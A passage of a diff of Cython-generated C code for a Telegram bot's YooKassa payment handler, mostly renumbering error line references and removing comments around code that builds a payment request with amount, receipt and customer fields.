__pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; @@ -5905,7 +5503,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5920,62 +5518,41 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 134, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 134, __pyx_L1_error) + else __PYX_ERR(0, 135, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":138 - * ) - * - * customer_name = callback_query.from_user.full_name # <<<<<<<<<<<<<< - * customer_id = callback_query.message.chat.id - * - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_customer_name = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":139 - * - * customer_name = callback_query.from_user.full_name - * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * - * customer_email = f"{customer_id}@{EMAIL}" - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":141 - * customer_id = callback_query.message.chat.id - * - * customer_email = f"{customer_id}@{EMAIL}" # <<<<<<<<<<<<<< - * - * payment = Payment.create( - */ - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = 0; __pyx_t_12 = 127; - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); @@ -5986,9 +5563,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 1; __Pyx_GIVEREF(__pyx_kp_u__6); PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__6); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_12; @@ -5996,208 +5573,110 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_10); __pyx_cur_scope->__pyx_v_customer_email = ((PyObject*)__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/yookassa_pay.py":143 - * customer_email = f"{customer_id}@{EMAIL}" - * - * payment = Payment.create( # <<<<<<<<<<<<<< - * { - * "amount": {"value": str(amount), "currency": "RUB"}, - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":145 - * payment = Payment.create( - * { - * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< - * "confirmation": { - * "type": "redirect", - */ - __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 145, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 146, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":147 - * "amount": {"value": str(amount), "currency": "RUB"}, - * "confirmation": { - * "type": "redirect", # <<<<<<<<<<<<<< - * "return_url": f"{REDIRECT_LINK}", - * }, - */ - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 147, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 148, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":148 - * "confirmation": { - * "type": "redirect", - * "return_url": f"{REDIRECT_LINK}", # <<<<<<<<<<<<<< - * }, - * "capture": True, - */ - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 148, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_t_14) < 0) __PYX_ERR(0, 147, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_t_14) < 0) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":150 - * "return_url": f"{REDIRECT_LINK}", - * }, - * "capture": True, # <<<<<<<<<<<<<< - * "description": f" {customer_id}", - * "receipt": { - */ - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 146, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":151 - * }, - * "capture": True, - * "description": f" {customer_id}", # <<<<<<<<<<<<<< - * "receipt": { - * "customer": { - */ - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_9); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_9); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_t_14) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_t_14) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yookassa_pay.py":153 - * "description": f" {customer_id}", - * "receipt": { - * "customer": { # <<<<<<<<<<<<<< - * "full_name": customer_name, - * "email": customer_email, - */ - __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - /* "handlers/payments/yookassa_pay.py":154 - * "receipt": { - * "customer": { - * "full_name": customer_name, # <<<<<<<<<<<<<< - * "email": customer_email, - * "phone": "79000000000", - */ - __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 154, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 154, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 155, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":155 - * "customer": { - * "full_name": customer_name, - * "email": customer_email, # <<<<<<<<<<<<<< - * "phone": "79000000000", - * }, - */ - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 154, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 154, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_customer, __pyx_t_9) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_customer, __pyx_t_9) < 0) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":160 - * "items": [ - * { - * "description": f" {customer_id}", # <<<<<<<<<<<<<< - * "quantity": "1.00", - * "amount": {"value": str(amount), "currency": "RUB"}, - */ - __pyx_t_9 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__7, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_description, __pyx_t_15) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_description, __pyx_t_15) < 0) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 161, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":162 - * "description": f" {customer_id}", - * "quantity": "1.00", - * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< - * "vat_code": 1, - * "payment_subject": "payment", - */ - __pyx_t_15 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_15, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 162, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_15, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_15, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 162, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_amount, __pyx_t_15) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_15, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 163, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_amount, __pyx_t_15) < 0) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 160, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 160, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 161, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":158 - * "phone": "79000000000", - * }, - * "items": [ # <<<<<<<<<<<<<< - * { - * "description": f" {customer_id}", - */ - __pyx_t_15 = PyList_New(1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_15 = PyList_New(1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_GIVEREF(__pyx_t_9); - if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 0, __pyx_t_9)) __PYX_ERR(0, 158, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 0, __pyx_t_9)) __PYX_ERR(0, 159, __pyx_L1_error); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_items, __pyx_t_15) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_items, __pyx_t_15) < 0) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_14) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_14) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yookassa_pay.py":169 - * ], - * }, - * "metadata": {"user_id": customer_id}, # <<<<<<<<<<<<<< - * }, - * uuid.uuid4(), - */ - __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 169, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_customer_id) < 0) __PYX_ERR(0, 169, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_14) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_customer_id) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_14) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yookassa_pay.py":171 - * "metadata": {"user_id": customer_id}, - * }, - * uuid.uuid4(), # <<<<<<<<<<<<<< - * ) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_uuid); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_uuid); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = NULL; @@ -6218,7 +5697,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_15, NULL}; __pyx_t_14 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 171, __pyx_L1_error) + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -6242,7 +5721,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 143, __pyx_L1_error) + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -6250,133 +5729,77 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_payment = __pyx_t_10; __pyx_t_10 = 0; - /* "handlers/payments/yookassa_pay.py":174 - * ) - * - * if payment["status"] == "pending": # <<<<<<<<<<<<<< - * payment_url = payment["confirmation"]["confirmation_url"] - * - */ - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_t_10 = 